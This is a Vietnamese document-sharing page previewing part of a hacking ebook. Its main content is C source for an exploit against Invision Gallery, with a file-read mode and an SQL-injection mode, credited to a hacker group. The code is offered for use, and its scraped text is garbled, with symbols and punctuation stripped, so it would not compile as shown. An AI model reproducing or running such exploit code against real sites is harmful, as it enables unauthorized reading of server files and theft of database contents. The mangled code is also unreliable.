tailieunhanh - Hacker Professional Ebook part 381
Ebook giới thiệu các công cụ và đồ nghề cần thiết cho việc Hack-Security. Ebook gồm có 1177 bài viết trong 28 chủ đề chính Phần 38: 10 part gồm Learning Windows, Learning Unix – Linux. | DWORD resolve char host DWORD ret 0 struct hostent hp gethostbyname host if hp ret inet_addr host if hp ret INADDR_NONE return 0 if hp NULL memcpy void ret hp- h_addr hp- h_length return ret int Exploit char sendbuffer char mode char host char recvbuffer 10024 char temp memset recvbuffer 0 10024 SOCKET s socket AF_INET SOCK_STREAM 0 SOCKADDR_IN webaddr resolve host AF_INET htons 80 if connect s struct sockaddr webaddr sizeof SOCKADDR_IN return -1 send s sendbuffer strlen sendbuffer 0 int i j while i recv s recvbuffer strlen recvbuffer 1 0 for int i 0 recvbuffer i 0 i if recvbuffer i r recvbuffer i 1 n recvbuffer i 2 r recvbuffer i 3 n temp char recvbuffer i 4 break if strcmp mode readfile 0 printf n Exploit Result n n s temp return 0 if strcmp mode sqlinject 0 char token NULL char injected NULL char parse NULL token strtok temp token strtok NULL token strtok NULL token strtok NULL for int j 0 j 2 j token strtok NULL if j 1 injected token printf n Exploit Result n n s injected else printf n - some error. change MODE param n return 0 return 0 int main int argc char argv WSADATA wsaData WSAStartup MAKEWORD 2 2 wsaData printf n. n printf Invision Gallery ReadFile SQL injection exploit n printf c oded by _1nf3ct0r_ Hell Knights Crew n printf http n
đang nạp các trang xem trước